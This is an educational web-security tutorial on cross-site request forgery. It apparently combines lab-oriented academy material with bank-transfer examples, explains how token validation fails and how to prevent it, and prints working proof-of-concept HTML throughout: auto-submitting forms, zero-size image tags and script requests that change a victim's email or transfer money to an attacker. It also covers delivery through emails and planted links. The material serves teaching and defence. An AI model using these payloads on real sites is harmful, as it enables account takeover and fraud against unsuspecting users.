Cross-site request forgery (CSRF)

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF attacks.

What is CSRF?

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other

If you're already familiar with the basic concepts behind CSRF vulnerabilities and just want to practice exploiting them on some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.

View all CSRF labs

What is the impact of a CSRF attack?

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.

How does CSRF work?

For a CSRF attack to be possible, three key conditions must be in place:

- A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
- Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
- No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

```
POST /email/change HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 30
```

```
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
```

```
email=wiener@normal-user.com
```

This meets the conditions required for CSRF:

- The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.
- The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.
- The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

```
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

If a victim user visits the attacker's web page, the following will happen:

- The attacker's page will trigger an HTTP request to the vulnerable web site.
- If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
- The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

Note

Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

How to construct a CSRF attack

Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

- Select a request anywhere in Burp Suite Professional that you want to test or exploit.
- From the right-click context menu, select Engagement tools / Generate CSRF PoC.
- Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
- You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
- Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.

LAB
APPRENTICE CSRF vulnerability with no defenses

How to deliver a CSRF exploit

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a web site that they control, and then induce victims to visit that web site. This might be done by feeding the user a link to the web site, via an email or social media message. Or if the attack is placed into a popular web site (for example, in a user comment), they might just wait for users to visit the web site.

Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable web site. In this situation, the attacker may not need to employ an external site, and can directly feed victims a malicious URL on the vulnerable domain. In the preceding example, if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:

```
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
```

Read more

XSS vs CSRF

Preventing CSRF attacks

The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The token should be:

- Unpredictable with high entropy, as for session tokens in general.
- Tied to the user's session.
- Strictly validated in every case before the relevant action is executed.

Read more

CSRF tokensFind CSRF vulnerabilities using Burp Suite's web vulnerability scanner

An additional defense that is partially effective against CSRF, and can be used in conjunction with CSRF tokens, is SameSite cookies.

Common CSRF vulnerabilities

Most interesting CSRF vulnerabilities arise due to mistakes made in the validation of CSRF tokens.

In the previous example, suppose that the application now includes a CSRF token within the request to change the user's e-mail:

```
POST /email/change HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 68
```

```
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
```

```
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
```

This ought to prevent CSRF attacks because it violates the necessary conditions for a CSRF vulnerability: the application no longer relies solely on cookies for session handling, and the request contains a parameter whose value an attacker cannot determine. However, there are various ways in which the defense can be broken, meaning that the application is still vulnerable to CSRF.

Validation of CSRF token depends on request method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:

```
GET /email/change?email=pwned@evil-user.net HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
```

LAB
PRACTITIONER CSRF where token validation depends on request method

Validation of CSRF token depends on token being present

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:

```
POST /email/change HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 25
```

```
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
```

```
email=pwned@evil-user.net
```

LAB
PRACTITIONER CSRF where token validation depends on token being present

CSRF token is not tied to the user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

LAB
PRACTITIONER CSRF where token is not tied to user session

CSRF token is tied to a non-session cookie

In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

```
POST /email/change HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 68
```

```
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
```

```
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
```

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim's browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and

associated cookie, leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

LAB
PRACTITIONER **CSRF where token is tied to non-session cookie**

The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on `staging.demo.normal-website.com` could be leveraged to place a cookie that is submitted to `secure.normal-website.com`.

CSRF token is simply duplicated in a cookie

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the "double submit" defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:

```
POST /email/change HTTP/1.1
```

```
Host: vulnerable-website.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 68
```

```
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
```

```
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
```

In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. Here, the attacker doesn't need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

Prevention measures that do NOT work

A number of flawed ideas for defending against CSRF attacks have been developed over time. Here are a few that we recommend you avoid.

Using a secret cookie

Remember that all cookies, even the *secret* ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

Only accepting POST requests

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

Multi-Step Transactions

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

URL Rewriting

This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim's session ID. However, the user's session ID is exposed in the URL. We don't recommend fixing one security flaw by introducing another.

HTTPS

HTTPS by itself does nothing to defend against CSRF.

However, HTTPS should be considered a prerequisite for any preventative measures to be trustworthy.

Examples

How does the attack work?

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the *bank.com* web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps:

1. Building an exploit URL or script
2. Tricking Alice into executing the action with Social Engineering

GET scenario

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

```
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
```

Maria now decides to exploit this web application vulnerability using Alice as the victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice's account to Maria's account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

```
http://bank.com/transfer.do?acct=MARIA&amount=100000
```

The social engineering aspect of the attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques:

- sending an unsolicited email with HTML content
- planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

```
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>
```

Or as a 0x0 fake image:

```
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border
="0">
```

If this image tag were included in the email, Alice wouldn't see anything. However, the browser *will still* submit the request to bank.com without any visual indication that the transfer has taken place.

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

POST scenario

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let's assume the bank now uses POST and the vulnerable request looks like this:

```
POST http://bank.com/transfer.do HTTP/1.1

acct=BOB&amount=100
```

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

```
<form action="http://bank.com/transfer.do" method="POST">

<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>

</form>
```

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

```
<body onload="document.forms[0].submit()">

<form...
```

Other HTTP methods

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let's assume the vulnerable bank uses PUT that takes a JSON block as an argument:

```
PUT http://bank.com/transfer.do HTTP/1.1

{ "acct":"BOB", "amount":100 }
```

Such requests can be executed with JavaScript embedded into an exploit page:

```
<script>
function put() {
    var x = new XMLHttpRequest();
    x.open("PUT","http://bank.com/transfer.do",true);
    x.setRequestHeader("Content-Type", "application/json");
    x.send(JSON.stringify({"acct":"BOB", "amount":100}));
}
</script>

<body onload="put()">
```

Fortunately, this request will **not** be executed by modern web browsers thanks to same-origin policy restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker's (or everyone's) origin by using CORS with the following header:

```
Access-Control-Allow-Origin: *
```